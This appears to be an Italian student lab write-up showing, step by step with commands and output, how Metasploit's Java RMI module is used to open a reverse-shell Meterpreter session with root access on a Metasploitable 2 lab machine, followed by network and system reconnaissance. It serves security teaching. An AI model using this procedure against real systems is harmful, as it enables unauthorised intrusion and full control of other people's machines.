

BENCHMARK MODULO 4

Java RMI exploit privilege escalation

Ottenimento di una sessione Meterpreter con privilegi root in una macchina metasploitable2.

Procedura

Cambio degli Indirizzi IP di Kali Linux e Metasploitable 2

Configurazione di Metasploitable 2: Per cambiare l'indirizzo IP di Kali Linux, ho modificato il file di configurazione dell'interfaccia di rete usando il seguente comando:

```
sudo nano /etc/network/interfaces
```

Ho modificato l'indirizzo IP dell'interfaccia di rete desiderata per corrispondere all'indirizzo IP richiesto (192.168.11.112)

Sfruttamento della Vulnerabilità Java RMI con Metasploit

Si inizia con una scansione nmap per individuare contro che target abbiamo a che fare e quali servizi sono attivi e con quale versione (e su quale porta sono eventualmente attivi)

```
Nmap -sV -p 1-1200 192.168.11.112
```

```
(kali㉿kali)-[~]
$ nmap -sV -p 1-1200 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 08:57 EDT
Stats: 0:00:05 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 192.168.11.112
Host is up (0.00014s latency).
Not shown: 1187 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.30 seconds
```

Java RMI Server Insecure Default Configuration Remote Code Execution Vulnerability riguarda diversi prodotti Java che implementano il server RMI (Remote Method Invocation). Questa vulnerabilità può permettere a un attaccante remoto non autenticato di eseguire codice arbitrario su un sistema bersaglio con privilegi elevati.

Per iniziare, ho avviato Metasploit dalla mia macchina attaccante, utilizzando il comando `msfconsole`. Questo ha aperto l'interfaccia della console Metasploit, pronta per l'uso dopo l'inserimento della password di root.

Una volta aperto Metasploit, ho utilizzato il comando search per cercare moduli di sfruttamento relativi a Java RMI. Questo comando permette di cercare all'interno del vasto database di Metasploit per trovare moduli pertinenti a una specifica vulnerabilità o servizio. Nella nostra ricerca, abbiamo individuato il modulo "exploit/multi/misc/java_rmi_server" come adatto per la vulnerabilità Java RMI sulla porta 1099.

```
msf5 > search exploit java RMI
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
4	exploit/multi/browser/java_rmi_connection_impl	2018-03-31	excellent	No	Java RMI ConnectionImpl Deserialization Privilege Escalation
5	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
6	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
7	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI NMI Java Deserialization Vulnerability
8	exploit/linux/http/kibana_timeline_prototype_pollution_rce	2019-10-38	manual	Yes	Kibana Timeline Prototype Pollution RCE
9	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
10	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
11	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
12	exploit/multi/http/totaljs_cms_widget_exec	2019-08-38	excellent	Yes	Total.js CMS 12 Widget Java Script Code Injection
13	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalation Priv Esc

Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc

```
msf5 > use 3
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf5 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Selezione del Modulo e Impostazione delle Opzioni:

Dopo aver individuato il modulo appropriato, ho utilizzato il comando `use 3` per selezionarlo all'interno di Metasploit. Una volta selezionato, ho impostato l'indirizzo IP della macchina Metasploitable come target utilizzando il comando `set RHOST`. Questo passaggio è essenziale per configurare correttamente il target da colpire con il nostro exploit.

```
Interact with a module by name or index. For example info 13, use 13 or use exploit/linux/local/vcenter_java_

msf6 > use 3
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
  RPORT     1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an ad
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert    no               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH    no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
```

Esecuzione dell'Exploit:

Una volta configurato il modulo con l'indirizzo IP della macchina vittima, ho eseguito l'exploit utilizzando il comando `exploit`. Questo comando ha avviato l'azione di sfruttamento della vulnerabilità Java RMI sulla macchina Metasploitable. Metasploit ha automatizzato il processo di sfruttamento della vulnerabilità, cercando di ottenere un accesso non autorizzato alla macchina vittima.

Ottenimento della Sessione Meterpreter:

Dopo aver eseguito con successo l'exploit, Metasploit ha sfruttato la vulnerabilità Java RMI sulla macchina Metasploitable e ha ottenuto una sessione Meterpreter. Questo tipo di sessione fornisce all'attaccante un elevato livello di controllo sulla macchina remota, consentendo di eseguire una vasta gamma di comandi e azioni.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/cWJeg2xhB3VpH6
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:36937) at 2024-06-02 09:06:53 -0400

meterpreter > █
```

Raccolta di Evidenze dalla Macchina Remota

Configurazione di Rete:

Una volta ottenuta una sessione remota Meterpreter sulla macchina vittima, è importante raccogliere informazioni sulla configurazione di rete della macchina remota. Questo può includere dettagli come l'indirizzo IP, il gateway predefinito, il subnet mask e altri parametri di rete pertinenti. Utilizzando i comandi appropriati all'interno di Meterpreter, è possibile estrarre queste informazioni per comprendere meglio l'ambiente di rete della macchina vittima.

Tramite il comando `ifconfig` otterremo dettagli sulla configurazione network della macchina.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1d:d6e8
IPv6 Netmask : ::
```

Informazioni sulla Tabella di Routing della Macchina Vittima:

Oltre alla configurazione di rete, è essenziale raccogliere informazioni sulla tabella di routing della macchina vittima. La tabella di routing contiene dettagli su come il traffico di rete viene instradato all'interno della rete della macchina vittima. Questo può essere cruciale per comprendere il percorso che il traffico di rete prende attraverso la rete, identificare eventuali gateway o rotte specifiche e valutare la topologia di rete complessiva.

```
meterpreter > route

IPv4 network routes

Subnet          Netmask          Gateway  Metric  Interface
-----          -
127.0.0.1       255.0.0.0        0.0.0.0
192.168.11.112  255.255.255.0    0.0.0.0

IPv6 network routes

Subnet          Netmask          Gateway  Metric  Interface
-----          -
::1              ::               ::
fe80::a00:27ff:fe1d:d6e8 ::               ::

meterpreter > █
```

```
meterpreter > sysinfo
Computer       : metasploitable
OS             : Linux 2.6.24-16-server (i386)
Architecture   : x86
System Language : en_US
Meterpreter    : java/linux
meterpreter > cd sys
meterpreter > ls
Listing: /sys

Mode          Size  Type  Last modified          Name
-----
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:19 -0400 block
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:17 -0400 bus
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:19 -0400 class
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:13 -0400 devices
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:16 -0400 firmware
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:13 -0400 fs
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:13 -0400 kernel
040666/rw-rw-rw- 0    dir   2024-06-02 09:24:23 -0400 module
040666/rw-rw-rw- 0    dir   2024-06-02 08:54:16 -0400 power
040666/rw-rw-rw- 0    dir   2024-06-02 09:24:23 -0400 slab

meterpreter > whoami
[-] Unknown command: whoami
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
```